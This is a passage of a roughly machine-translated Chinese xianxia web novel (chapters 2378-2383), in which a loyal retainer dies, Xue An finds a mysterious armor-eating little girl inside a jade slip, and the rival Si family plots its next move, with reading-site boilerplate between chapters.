    Of course, Xue An didn''t take the two of them to the main entrance, but fell from the sky and returned directly to the courtyard where he lived.


    But after he landed, he saw Cha Wenliang standing in the small courtyard, as if waiting for them.


    When Lou Yingshi saw Cha Wenliang, she was startled first, and she was shaking with excitement.


    "You... Are you a ghost needle psychiatrist?"


    Cha Wenliang smiled, "I didn''t expect the young people nowadays to remember me."


    Lou Yingshi pounced and fell to her knees, tearfully saying: "Lou Yingshi, the twelfth-generation heir of the Lou family, has seen the genius doctor Guizheng, please be merciful and save her mother-in-law!"


    Cha Wenliang seemed to have known what had happened to Lou''s family, and there was a look of compassion in his eyes, and then he sighed lightly.


    "I''ll give it a try, but it''s impossible to cure her injuries. Even I can only keep her awake for a while!"


    With that, Cha Wenliang stepped forward to Wu Ruiyun, who was unconscious, and when he turned his wrist, several golden needles appeared in his hand.


    I saw him flying needles, stabbing again and again over Wu Ruiyun''s body.


    Every time, a faint golden light would flow into Wu Ruiyun''s body.


    In an instant, Wu Ruiyun''s extremely pale, deadly face showed a trace of ruddy.


    Zha Wenliang took a step back, "Okay! But she can only support it for a quarter of an hour at most. What can I say as soon as possible!"


    With gratitude and sadness on her face, Lou Yingshi walked quickly to Wu Ruiyun.


    At this moment, Wu Ruiyun slowly opened his eyes.


    Although she was just dying, she knew everything that happened outside.


    So she looked at Lou Yingshi with tears on her face and choked on the unspeakable Lou Yingshi, chuckled and shook her head.


    "Miss, don''t cry, old slave, I have made this preparation from the moment I rushed back to the building! So don''t feel sorry for me, it''s all I want!"


    Lou Yingshi cried out of breath, and could only nod silently.


    At this time, Wu Ruiyun looked at Xue An and Zha Wenliang who were aside, with a touch of excitement in his eyes, and then struggled to get up from the ground and bowed heavily to the ground.


    "Wu Ruiyun, I have seen Senior Cha, and Xiao En Gong!"


    Cha Wenliang looked at Wu Ruiyun, whose face was red, and the compassion in his eyes became more intense.


    "Wu Ruiyun, do you have anything else to say?"


    "Wu Ruiyun doesn''t dare to have any extravagant hopes, but I only want to check that the seniors and the little benefactor can take care of the eldest lady as much as possible after I leave. After all, she is the only surviving bloodline of the Lou family now. If she comes out again What''s wrong, I am shameless and go down to see Old Man Lou!"


    Hearing that Wu Ruiyun still missed Lou Yingshi even before he died, this loyalty made Cha Wenliang couldn''t help but move slightly.


    But this matter is very important, especially when it involves family struggles within the Pharmacist Alliance, so Cha Wenliang couldn''t help but hesitate.


    But at this moment, Xue An on the side suddenly said: "Okay, I will promise you with your loyalty!"


    Wu Ruiyun''s face was full of joy, and he knocked on Xue An again.


    "Thank you Xiao En Gong! Thank you Xiao En Gong! But I don''t know the name of Xiao En Gong, so that I can have an explanation when I see Old Man Lou after death!"


    "Xue An!"


    "Okay, thank you Xue En Gong!"


    At this time, the red color on Wu Ruiyun''s face became more and more glamorous, and even the aura of her whole person recovered a lot.


    But this is not a good sign, because it just proves that she has entered the final moment of dying. UU reading


    Wu Ruiyun seemed to know this too, and saw that she turned around and smiled at Lou Yingshi.


    "Miss, please forgive the old slave for only sending you here. The next road, you need to go by yourself!"


    Lou Yingshi was already crying sobbing, even if it was Cha Wenliang, she couldn''t bear it.


    Wu Ruiyun''s expression became awe-inspiring, "Miss, after I leave, I hope you can cherish yourself, think more about everything, and remember to avenge the Lord Lou and the whole Lou family!"


    "Yes!" Lou Yingshi stopped her grief, and said solemnly.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2378), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2379： righteous

    After getting Lou Yingshi''s promise, Wu Ruiyun exhaled a long breath, and the ruddy on his face quickly faded with this breath, revealing a nearly dead gray face below.


    "Father, you saved my life back then, and now I give it back to you! My Wu Ruiyun, I can be said to be worthy of my heart to death!"


    As he said, Wu Ruiyun bowed his head to the ground with a smile.


    It was just this prayer, but she never got up again.


    Lou Yingshi couldn''t help crying, and directly rushed to hug Wu Ruiyun''s body.


    "Mother-in-law, you can go all the way!"


    Cha Wenliang was also slightly moved, and then sighed lightly, "Zhien Illustrated Report, although this Wu Ruiyun is a female streamer, she can be regarded as a magnate! Are you right?"


    Xue An was silent for a moment, and then solemnly nodded, "Yes! And it''s a righteous man enough to make countless men embarrassed!"


    The flames soared into the sky, gently engulfing Wu Ruiyun''s body, incinerating it to ashes, and finally filling a small porcelain altar.


    This is the only thing Wu Ruiyun left in this world.


    Touching this porcelain altar with a hint of warmth, Lou Yingshi burst into tears again.


    But she still endured her grief, bowed to Xue An and Cha Wen Liangying, and turned back to the room just arranged for her.


    At this time, after a night of tossing, the sky has faintly shed light.


    Xue An and Cha Wenliang stood in the courtyard, silent.


    After a long time, he heard Cha Wenliang sigh softly: "Seriously, I knew you were out tonight, but I didn''t expect you to get involved in this muddy water!"


    "You already knew about this?" Xue An asked rhetorically.


    Cha Wenliang smiled bitterly, "The Lou family is also a face-to-face family in the Pharmacist Alliance, how could it not spread about their being destroyed?"


    "Then the people from the Pharmacist Alliance are watching coldly?" Xue An said coldly.


    Zha Wenliang sighed, "Otherwise, what do you think? The Si family is the one who did it! The Si family is the top ten family in the Pharmacist League, and most people don''t dare to provoke it!"


    "Don''t you even dare to include you, a member of the veteran level?" Xue An said mockingly.


    Cha Wenliang was silent for a moment, and finally shook his head, "That''s different. You know, I am a casual cultivator. Although I have a high reputation, I am far inferior to these big families in terms of strength!"


    Xue An sneered.


    Zha Wenliang smiled bitterly: "I know what you are thinking. To be honest, I really don''t have the courage you have, but since you saved this Lou Yingshi, I can''t just sit back and watch!"


    Speaking of this, Cha Wenliang''s face showed a touch of decisiveness.


    "Isn''t it just a small family? I''m really not afraid of them!"


    The expression on Xue An''s face was slightly warm, and then softly said: "Do you think this is just a family?"


    As soon as this remark came out, Cha Wenliang was shocked.


    "What do you mean?"


    Xue An looked up at the distant sky, and said lightly: "Do you know why I know this Lou Yingshi will be here tonight?"


    Cha Wenliang looked solemn, "What''s the matter?"


    Xue An smiled, and then told the story of encountering Tang Longtao and the others at the Medicinal Food Workshop.


    Cha Wenliang couldn''t help frowning when he heard that the envoy behind him was actually a man in black.


    "Man in black? Who would it be?"


    "I don''t know, but what is certain is that there are obviously other families involved in this matter. Otherwise, do you think many families will really watch the Si family attack the Lou family?" Xue An said lightly.


    Cha Wenliang''s heart trembled.


    Because he felt a great sense of crisis from Xue An''s words.


    Faintly, he seemed to see countless turbulent undercurrents hidden under the seemingly calm surface of the Pharmacist Alliance.


    "In fact, the crux of everything should lie in the treasure passed down from generation to generation by the Lou family. The Si family did not hesitate to fight for it. It can be seen that this thing is absolutely extraordinary! If you can know what this thing is..."


    Cha Wenliang didn''t say the following words, but the meaning was already obvious.


    The Si family did not hesitate to destroy the things that the Lou family had to obtain is obviously very important, and the silence of other families also seemed very strange.


    It can be seen that all the crux of the matter should originate from this thing.


    But after all, that thing was from the Lou family, so Cha Wenliang just mentioned it, and then stopped talking about it.


    But at this moment, I saw that the door in the corner was opened with a creak, and then Lou Ying''s hand, Tuo Yujian, walked out of it and came to the two of them.


    "Xue Engong, check the genius doctor, I have heard all of your conversations just now, you can bear so much pressure for me, my Lou Yingshi should be inscribed in my heart, just as the genius doctor Zha said, all the cruxes stem from this thing ! So I now decide to dedicate it to you!"


    "If you can open it and see what''s inside, you must be able to find out the real cause of this catastrophe in my house!"


    Lou Yingshi was full of solemn expression.


    Cha Wenliang was a little embarrassed, "How can this make it? I was just..."


    He just wanted to shirk a few words, but when he saw Xue An he picked up the jade slip.


    "Well, if that''s the case, then I will accept it!"


    Now, Cha Wenliang couldn''t help being a little dumbfounded.


    "This.... UU reading www.uukahnshu.com"


    Xue An ignored these at all, because he was looking down at this jade slip.


    There is a magic circle hidden in the jade slip, blocking Xue An''s spiritual penetration.


    Xue An knew that this was the self-destructive circle left by Wu Ruiyun before he died!


    Although Wu Ruiyun was dead, the self-destructive circle was still there.


    Unless Lou Yingshi''s strength reaches a certain level, or he is now offering sacrifices with spirits, it will be impossible to open that cyan jade slip.


    This is why Lou Yingshi presented this jade slip.


    She knew very well how critical the current situation was, and it could even be said that there was no time for her to improve her strength.


    So the safest and most effective way now is to dedicate this thing to Xue An and Cha Wenliang.


    "Can you open it?" Cha Wenliang naturally saw the unusualness of this jade slip, and couldn''t help asking.


    Xue An smiled, "It should be possible!"


    As he said, the divine light flashed in Xue An''s eyes, and the majestic divine thought surged out, and immediately wrapped the jade slip in it.


    Inspired by the divine mind, the lines of Fu seal faintly appeared under the jade slip.


    But before they were connected, a few strands of divine thought blocked their way first.


    Immediately afterwards, Xue An touched the jade slip with his hand, and wherever he passed, the lines on it were erased little by little.


    In the blink of an eye, the self-destructing circle on this jade slip disappeared.


    Then Xue An''s spiritual thoughts penetrated into it, and then he was stunned.


    Because in this jade slip, it was something he hadn''t thought of.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel network, there is no advertisement in the site, please collect and recommend it!


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2380： 3 no loli

    "Invincible, start with Dad Xianzun (!


    In fact, before opening the jade slip, Xue An''s heart was prepared.


    Because he knew from Tang Longtao that what Lou Yingshi was carrying was probably a piece of armor.


    But when he really opened the jade slip, he found that the scene inside was completely different from what he had imagined.


    But seeing that there was an empty room in the jade slip, and in the middle of the room was a little girl sitting impressively.


    That''s right!


    A little girl who is like a fake!


    She saw her eyes closed tightly, her long eyelashes falling down, covering her eyelids.


    At first, Xue An even thought that he had read it wrong, so he wiped his eyes and confirmed it.


    Because storage artifacts like this kind of jade slips are simply impossible to store life forms.


    This has nothing to do with the level of strength, it is completely determined by the innate characteristics of this magic weapon.


    In other words, it is impossible for even an ant to survive here, let alone a four or five-year-old girl.


    Just as Xue An was shocked, he seemed to feel his prying, and the little girl in the jade slip slowly opened her eyes.


    These are a pair of crystal-clear eyes like gems, making the little girl''s cute cheeks even more delicate.


    Then she looked at Xue An with a pair of big eyes, her eyes full of curiosity.


    Xue An''s heart suddenly shocked.


    Because he suddenly discovered that when he looked at the little girl, he couldn''t help but feel an urge to sink in.


    You must know that this is something that has never happened to Xue An, who has extremely strong spiritual thoughts.


    There are only two possibilities. One is that the intensity of this little girl''s mind is far greater than that of herself. Only in this way can this effect be achieved, but it is almost impossible.


    After all, just talking about the intensity of divine consciousness, even Yue Shifang above the saint is not Xue An''s opponent, let alone this little girl.


    The second is that this little girl has a special talent that can interfere with or manipulate the attention of others.


    But no matter which way it is possible, it proves that this little girl is extraordinary.


    Especially Xue An also discovered that in this little girl, he could not detect the fluctuation of Qi and blood.


    But in the divine mind, she was a little girl like a fake.


    This strange phenomenon of inconsistency between what he saw and what he observed also made Xue An slightly moved.


    At this moment, Cha Wenliang on the side spoke.


    He couldn''t help but feel a little surprised when he saw that Xue An had been standing there silently after opening the jade slip, and his face had changed color.


    "What''s wrong? What''s in it?"


    After hearing Cha Wenliang''s words, the little girl trembled slightly, as if she was shocked, her eyes showed a frightened look like a deer.


    Somehow, after seeing the little girl''s eyes, Xue An felt a pain in his heart, as if seeing his daughter being wronged.


    This feeling shocked Xue An.


    Because before I knew it, I was infected by the special temperament of this little girl.


    This is horrible.


    At this moment, Cha Wenliang on the side saw that Mr. Xue An didn''t reply, so he leaned over and looked into the jade slip.


    "What the **** is going on...huh?"


    After seeing this little girl, Cha Wenliang immediately stood there, with an obsessive look on her face.


    You must know that his spirit is far inferior to Xue An, so it is naturally difficult to resist this little girl''s special talent.


    At this moment, Xue An suddenly gave a cold snort.


    This cold snort immediately swept away the special atmosphere lingering around him, and Cha Wenliang immediately woke up from his obsession with cold sweat on his forehead.


    Because my state was too dangerous just now, I fell into delusion without knowing it.


    If someone took advantage of this, wouldn''t he be in danger?


    At this point, Zha Wenliang''s eyes changed when looking at the little girl.


    Although his strength is not too high, he is also a well-known medical master at any rate. As a result, the little girl''s Tao was almost touched as soon as they met.


    It can be seen that this seemingly innocent and harmless little girl is by no means as simple as it seems on the surface.


    The little girl didn''t know anything about it. She seemed to be a little bit confused about why Xue An interrupted herself, so she tilted her head to look at Xue An.


    At this moment, An Yan, who heard the noise in the courtyard, also walked out of the room, and then approached Xue An.


    "Husband...huh? What a lovely girl!" An Yan couldn''t help but exclaim.


    Upon hearing this, the little girl looked at An Yan, and a very happy and excited expression appeared in her big eyes.


    That expression...like a person who has been hungry for a long time saw a delicious meal.


    Then she stretched out her hand to hook An Yan.


    Xue An immediately took a step forward, blocking An Yan behind him.


    Although the malice cannot be detected, this little girl has a mysterious origin, so it is better to be careful.


    But at the moment he just stood in front of An Yan, the necklace hanging between An Yan''s neck suddenly flew out, went directly into the jade slip, and then fell into the hands of the little girl.


    An Yan exclaimed, "Husband, my alchemy armor!"


    The necklace that just flew into the jade slip was made by alchemy armor.


    At the beginning, Xue An accidentally obtained a set of zodiac alchemy armor. Although it was only a complete collection of monkeys and dragons in the end, even the incomplete armor was already very tyrannical.


    So Xue An gave it to An Yan for protection in times of crisis.


    But I never expected that this armor set flew up for no reason and fell into the hands of this little girl.


    Xue An''s eyes flickered, but he didn''t say anything.


    Because it was at this moment, but seeing that the little girl seemed to see some delicacy after receiving this necklace, she fidgeted with excitement twice.


    Click! Click!


    Accompanied by the sound of the rotating mechanical gears, this necklace immediately transformed into a set of majestic, imposing armor.


    But the next movement of this little girl surprised the three of Xue An.


    She yelled for joy, then jumped onto the armor, opened her mouth and bit down.


    Accompanied by a crackling sound, this armor helmet was bitten off by the little girl viciously.


    Then I saw the little girl''s mouth bulging, chewing very contentedly.


    The faces of the three Xue An were shocked.


    You know, this is a armor made of alchemy secrets!


    Its hardness is enough to resist the full blow of the general strong. UU reading www. uukanshu.com


    But under the little girl''s mouth, it looked like a sweet butter cake, without even the slightest obstruction, so she was gnawed down.


    And looking like this, the food is very sweet.


    "My God, what is her mouth made of? Why is it so powerful?" An Yan couldn''t help exclaiming.


    At the same time, but seeing the little girl swallowing what was in her mouth, she ate the alchemy armor one bite at a time.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2380 Sanwu Lori (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2381： Raw armor

    "Invincible, start with Dad Xianzun (!


    She eats so fast that she can be said to be devouring.


    But after half a cup of tea, this armor was eaten up by the little girl abruptly.


    After eating, the little girl patted her belly lightly, burped a long time, and then a satisfied and cozy expression appeared on her face.


    "This...Is it finished?" An Yan had an unbelievable expression on his face.


    Xue An suddenly laughed.


    Because at this moment, seeing the little girl trembling slightly, she actually grew a little taller, and her appearance changed from a four or five-year-old girl to a six or seven-year-old girl.


    And it was this growth process that made Xue An finally understand something.


    I saw him say with a faint smile: "Well, it''s finished!"


    "Then what should I do next?" An Yan asked.


    "Naturally...cold!" Xue An said lightly.


    "But that''s a set of armor that we finally accumulated!" An Yan said with some dismay.


    That set of alchemy armor accompanies her to go north and south. After a lot of wind and rain, An Yan has a deep affection for her.


    So when she saw that the armor was eaten up by this little girl, she was naturally full of dismay.


    Xue An just smiled at this, "Don''t worry, these armors have not disappeared, on the contrary, they will grow to a point that you can''t imagine!"


    Before she finished her words, she saw the little girl raised her head again, looking at Xue An and An Yan eagerly, her eyes seemed to be asking.


    Anything else, I haven''t eaten enough yet!


    Xue An laughed and stepped into the jade slip.


    Upon seeing this, An Yan couldn''t help screaming, "Husband!"


    Then he followed in.


    After entering the jade slip, An Yan''s entire body was erected, and the whole person entered a state of high alert.


    After all, this little girl''s origins are a mystery, and no one knows whether it is good or bad, good or bad, so it is always right to be careful.


    But never expected that when he came in, Xue An went straight to the little girl as if strolling in the courtyard, then squatted down and looked at her with a smile.


    "Aren''t you full?"


    The little girl looked at Xue An blankly, then nodded.


    "Then do you still want to eat?"


    The little girl nodded again, and the force of nodding this time was obviously much greater than before.


    "Very good, then come with me, I will take you to eat delicious!"


    With that, Xue An stood up and reached out to the little girl.


    An Yan''s heart touched her throat instantly.


    Cha Wenliang secretly squeezed a sweat for Xue An.


    Because the risk of doing so is too great.


    God knows how this little girl of unknown origin will react.


    Even Lou Yingshi''s face is solemn.


    She didn''t know what was hidden in this jade slip that caused a catastrophe to Lou''s family.


    It''s just that my father had solemnly instructed myself to protect this jade slip.


    But I didn''t expect such a little girl to live in the jade slip.


    While everyone was in trepidation, but seeing the little girl tilted her head to look at Xue An for a moment, then looked at the hand he stretched out to her, as if she understood something, and then stretched out her hand to hold it gently. Xue An''s hand.


    The smile on Xue An''s face became more and more brilliant, just like a successful human trafficker who turned around and led the little girl out of the jade slip.


    An Yan also walked out afterwards.


    As soon as they walked on their front feet, the jade on the back feet was simply and completely shattered, turned into a cloud of dust, and dispersed with the wind.


    Lou Yingshi screamed slightly, but Xuan even closed her mouth.


    Because at this moment, the little girl was looking at herself with a pair of swarthy eyes.


    With Lou Yingshi''s strength, how could it be possible to withstand such a talent impact, and fell into it in the blink of an eye.


    But at this moment Xue An coughed lightly, "Don''t be naughty, she can''t bear the impact of your talent!"


    The little girl just narrowed her eyes and stopped looking at Lou Yingshi.


    At the same time, Xue An looked up at the already bright sky, and said softly: "Yan''er, go ask Miss Miss and Ao Shu to get up, let''s go eat breakfast together!"


    "Ok!"


    When An Yan pulled the two sleepy-eyed little girls out of the room and came to the courtyard, everyone just felt their eyes shine.


    Because the little girl that Xue An is holding is about the same age as Miss Miss, and she is also beautiful and lovely.


    So when the three of them appear in the same picture at the same time, it is simply dizzying.


    At this time, thinking and Niannian finally recovered, and then they heard Niannian first exclaimed.


    "My God, what a lovely little sister!"


    But think about it with a thoughtful look, then raised his head to look at Xue An, "Dad, is this the little sister you and your mother gave birth to?"


    Xue An laughed blankly, "Of course not, this is what my father just picked up, how about it? Isn''t it cute!"


    "Hmm! It''s so cute!"


    With that said, Nian-nian ran up to the little girl very excitedly, first looked up and down for a moment, then stretched out her hand and gently squeezed the little girl''s face.


    She moved extremely fast, and she had already gotten started before An Yan could stop her.


    Then Nian Nian''s mouth gradually opened, and her face was full of amazement and said, "Wow, such a smooth face, it''s so cute!"


    An Yan swallowed the exclamation that came to her lips, because she found that the little girl didn''t seem to be disgusted with Nian Nian doing this, even the flesh on her face was pinched up, and her eyes were full of joy.


    Nian Nian became more and more excited, "Sister, look at this little sister like a doll!"


    As she said, she moved both hands together, rubbing the little girl''s face, making ridiculous faces.


    Thinking about it, his eyes gleamed closer, "Little sister, what''s your name? My name is Think about it, this is my sister''s reading, let''s get to know it!"


    But the little girl said nothing except the smile in her eyes.


    Thinking and Nian Nian can''t help but look up at Xue An.


    "Dad, why doesn''t she speak?"


    Xue An smiled and said meaningfully: "Because she may not have learned to speak yet!"


    "Wow, it''s so pathetic!"


    The sympathy of thinking and nian nian flooded in an instant.


    "After that, the two of us will teach you how to talk!" Niannian said, patting her chest. UU Reading


    "Yes, in the future you will be covered by the two of us. Who dares to bully you, we will stand up for you!" Think about it even more boldly and dryly.


    The corner of the little girl''s mouth raised, showing a big smile, and then nodded vigorously, looking at the two little girls in admiration.


    This look greatly satisfied the vanity of thinking and thinking.


    So when I went to the medicated food shop for breakfast, thinking and thinking were very "mature and stable", and they took a lot of care for this little girl.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2381 Raw Armor (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2382： A real little rice bucket

    Today, the person in charge of Xue An''s party is still the former Xiao Er from the shop.


    In fact, when she saw Xue An leading the people into the medicated food shop, the little second of the shop greeted them with a bright smile, and then let them into the VIP room on the second floor.


    The whole process can be described as hospitable.


    Of course, he also got a reward from Xue An for this.


    This made him full of sincere respect and gratitude to Xue An.


    After all, the rewards these few days were enough for him to cultivate for a long time.


    That''s right!


    In this world, even Xiaoer Dian will try his best to practice.


    After all, in this world, strength represents everything. If you don''t want to stay at the bottom forever, you can only rely on strength to speak.


    Because of this, the second person from this famous shop reverently said: "My lord, what do you plan to eat? Order it, and I will let the chef prepare now!"


    Xue An glanced at the two daughters next to him, and then at the little girl who had been looking around since entering the medicated food shop, and the little girl who was about to drain from the corner of her mouth could not help but chuckle.


    "Choose what you do best!"


    "Uh..." The shop Xiaoer was a little stunned, and then carefully reminded: "My lord, we have no less than dozens of specialty dishes in the Medicinal Food Shop..."


    Before Xiao Er finished speaking, Xue An waved his hand, "Then do it all again!"


    "Yes Yes!"


    Now that Xue An had given such instructions, the shopkeeper naturally swallowed back what he tried to dissuade later.


    Who makes the family rich! Maybe it''s this lavishness!


    The shop Xiaoer thought about it, and then hurried to the back kitchen.


    Because it was the morning and there were not many people eating, the food was served quickly.


    But with the tea scene, the various dishes were brought up like running water.


    But what is faster than serving is the speed at which the plates are withdrawn.


    Because no matter what kind of dishes, as long as one end is served, the little girl will pick it up without hesitation and pour it into her mouth!


    Yes, you read that right, it''s the kind of meaning of picking up a plate and pouring vegetables into your mouth.


    This scene stunned everyone.


    Including thinking that I was a foodie, I was a little dumbfounded.


    "My God, is this eating or loading?" Nian Nian couldn''t help muttering softly.


    Then everyone didn''t eat anything at all. They all put down their chopsticks and watched the little girl pouring food from the left to the right, wondering how long it would take her to be full.


    But even under the gaze of so many pairs of eyes, the speed of this little girl has not changed at all from start to finish, she is still utterly pouring, not sloppy.


    The key is that this little girl seems to have no sense of coldness, whether it is steaming soup or cold dishes exuding cold, can not stop her speed of pouring down the dishes.


    Soon, this wave of dozens of specialty dishes were all finished, but the table was empty, there was not even a residue, it was lonely.


    At this time, even the shop''s second person was shocked.


    As for thinking and thinking, the boss with his mouth opened staring blankly.


    It wasn''t until a long time later that Nian Nian couldn''t help but said, "Dad, how long has this little sister not eaten!"


    "Yeah, I haven''t served anyone before, but today I am really convinced!" I thought about it and said in awe.


    Xue An just smiled, because he knew that this was just the beginning.


    So he looked at the little girl, "How does it taste?"


    The little girl shook her head.


    Xue An smiled bitterly, "I know this is definitely not as delicious as the alchemy armor you like, but now where can I find so many suitable armors, so you still make do with it!"


    With that, Xue An turned his head and said to the second person in the shop: "Well, make another one according to the dishes you just served, no, two!"


    Xiao Er glanced at the little girl sitting next to Xue An with a shocked face, and couldn''t help but say.


    "My lord, all our medicated diets are aura. It is enough for most people to eat two plates. If this little sister eats this way, is it really okay?"


    "It''s okay, you can rest assured to do it! Remember to add more medicinal and dietary ingredients!"


    The shop Xiaoer went down in amazement.


    Soon, the back kitchen of the whole medicated food shop was shaken.


    The chef who thought he could rest for a while thought that he was joking just now.


    "Impossible, it is absolutely impossible. The amount of vegetables just now is enough for a bodybuilder to eat, how can I not feed a little girl?" The chef said at the beginning that he didn''t believe anything.


    But after confirming that what the shop Xiaoer said was true, he was also a little surprised, and for the first time in his life he had doubts about his craftsmanship.


    "Could it be that I cooked too little food today? Someone asked me to add more medicinal ingredients?"


    The chef fell into deep self-doubt, which also caused him to add twice the amount of dishes and ingredients in the next cooking.


    Then the food went up again like flowing water.


    But this time, the situation has not changed, and the little girl is still falling out of trouble.


    All in all, after three rounds of dishes, the eyes of the shop''s Xiao Er already showed fear.


    The little girl stopped her hand, then stretched out her tongue to lick the oil stains on the corner of her mouth, and burped a little bit. UU reading


    This full hiccup sound is not loud, but it sounds as sweet as Lun Yin in the ears of the little second of this famous shop.


    Xue An smiled and asked: "Are you full?"


    The little girl nodded.


    "Would you like to have more desserts then?"


    The little girl nodded again.


    Xue An turned to look at Xiao Er, "Then have some desserts and..."


    Xue An looked at his daughter again.


    "Missing, what do you want to eat?"


    That''s right!


    All the people at the table stared at the three rounds of dishes just now, and they didn''t even have a chance to stretch out their chopsticks.


    It wasn''t until Xue An asked about it that he subconsciously swallowed his saliva, and then said in a trance: "Whatever...whatever! Anything!"


    "Then trouble you to have some more specialty dishes!" Xue An said.


    The shop Xiao Er''s face wrinkled together, and he smiled bitterly: "My lord, it''s true that this little girl has eaten up all the ingredients in the back kitchen, and there is nothing left except some cold desserts!"


    Xue An was also taken aback, and then said nonchalantly: "Then you can figure out what to serve! We have to eat!"


    "Yes!"


    The shop Xiaoer turned around and went out with a suspicious expression on his face.


    An Yan finally couldn''t help sighing: "This little girl... can eat more than gluttony!"


    As soon as the voice fell, I heard Xue An Zhihai''s gluttonous grievances say: "Mother, you are wrong, she can eat more than me!"


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, and please collect it from Dad Xianzun: () Invincible, the update speed is the fastest from Dad Xianzun.

 Chapter 2383： Si Daoyuan

    "Invincible, start with Dad Xianzun (!


    At this moment, let''s bring the time back a few hours ago, that is, when Xue An just rescued Lou Yingshi.


    On a planet located at the critical position of the Pharmacist Alliance, there stands a huge manor.


    Behind the manor is an endless cemetery, where the bones of the ancestors of the Si family are buried.


    This is a top priority for every family, especially for a prominent family such as the Si family.


    Therefore, Sijia purposely built a temple in this ancestral land, dedicated to enshrining the spiritual seat of the ancestors of the past generations.


    Not only that, the security of this temple is also very tight, as if it has reached an unbelievable situation.


    The reason for this is that this temple is not only used for sacrifices, but also has a more important purpose.


    For example, now, when Si Guangzhong was sealed by Xue An with a sword, his soul spanned tens of millions of miles in an instant and was reborn in this temple.


    When he opened his eyes, what caught his eyes were the countless eternal lights in the temple.


    This couldn''t help making him take a sigh of relief. Although the soul did not need to breathe, he still made this action, and at the same time a strong look of horror appeared on his face.


    He really thought he was dead just now.


    Because the sword that sealed the throat was so amazing, he only felt that there was a flower in front of his eyes, and then he fell into the endless darkness.


    This was by no means a pleasant memory, and it even made him feel cold in his neck and hair standing straight after thinking about it.


    At this moment, only a majestic voice came from the void.


    "What''s the matter? Why are you suddenly reincarnated? Where''s your physical body?"


    Following the voice, a group of people appeared out of thin air just before Si Guangzhong''s soul.


    The leader is a well-dressed middle-aged man, this man is thin, amiable, and looks very kind.


    But the most striking thing is his two surprisingly long index and middle fingers.


    When he saw this man, Si Guangzhong hurriedly knelt to the ground, "The child bows down to his father!"


    That''s right!


    The visitor was the current Patriarch of the Si family, Si Guangzhong''s father, Si Daoyuan!


    I saw him say in a deep voice: "After all, what''s the matter, what''s the task I entrusted to you?"


    Si Guangzhong showed a look of helplessness, then bowed his head deeply to the ground, and said in a sad tone: "Failed!"


    Although he had expected this result long ago, there was still a commotion in the crowd after he really said it from Si Guangzhong.


    Si Daoyuan''s expression sank, "What''s the matter? Haven''t you tracked down Lou Yingshi''s whereabouts before? She is just an orphan, and there is no master besides Wu Ruiyun. Will something go wrong?"


    Si Guangzhong gritted his teeth and said bitterly: "Father, everything was as smooth as you said, but never expected that at the last moment, a person suddenly popped out of it and made a mess, which eventually led to the whole thing. Frustrated!"


    "Oh? A person who is in trouble? Who is it? Who dares to oppose our family in the Pharmacist Alliance?" Si Daoyuan said coldly.


    "It''s a boy I have never seen before, but this person is very powerful!"


    With that said, Si Guangzhong recounted what happened.


    After hearing him with a single sword, he killed all the men who followed Si Guangzhong and almost beheaded him, there was another commotion in the crowd.


    Si Daoyuan''s expression was so gloomy that water was about to drip out, "If you don''t say bad things about our family, you still dare to attack you, how courage this person must be!"


    Upon seeing this, Si Guangzhong took the opportunity to say: "Yes, father, and I don''t think this person is a person who is waiting for a while, just relying on his knowledge of Lou Yingshi''s whereabouts can be concluded, he must have a source of information that we don''t know!"


    Si Daoyuan''s expression changed, and then he took a deep look at Si Guangzhong.


    Si Guangzhong knelt on the ground, lowered his head deeply, dare not say a word.


    After a long time, this Si Dao snorted coldly from afar.


    "Get up, write this down for now!"


    "Thank you father!" Si Guangzhong dared to stand up.


    Then Si Dao said with a sinking face: "I shouldn''t show up for this incident, but we are bound to get that thing from the Lou family. Moreover, we have already paid such a high price, and it is even more impossible to give it up halfway!"


    "But your current situation is no longer suitable for getting ahead, so I decided to send Minqi to investigate and deal with this matter!"


    When he heard the two words Ming Qi, Si Guangzhong changed his expression, even if he was a soul, he still couldn''t help taking two steps forward.


    "Father, I managed this whole thing by myself, but now I let Mingqi pick up the results, and I am unwilling to do it!"


    What Si Guangzhong said was very straightforward, and his eyes flashed with ambition.


    Si Daoyuan chuckled, "I understand what you mean. You have made great contributions to this matter, and naturally you won''t be let down. But your current state is really not suitable for continuing to perform the task, but you can go with him. !what do you think?"


    Hearing what Si Daoyuan said, Si Guangzhong hesitated for a moment, and finally nodded.


    "Everything depends on my father''s orders!"


    Si Daoyuan nodded, then stepped forward and patted his shoulder lightly.


    "Don''t worry, no matter how you say you are my direct bloodline, as for Mingqi, he..."


    An unexplained luster flashed in Si Daoyuan''s eyes.


    "He is just a whetstone I set for you, so can you understand it as the father''s good intentions?"


    Si Guangzhong lowered his head deeply and replied in a low voice, "My boy got it!"


    "Just know!"


    With that said, Si Daoyuan reached out his index and middle fingers and placed them directly on Si Guangzhong''s wrist.


    Si Guangzhong trembled, and then a little light appeared in his wrist.


    These rays of light spread rapidly, covering him in the blink of an eye.


    After the light dissipated again, Si Guangzhong, who was still in a state of spirit and soul, had recovered his body.


    Although far less powerful than the previous body, but at least has the ability to move freely.


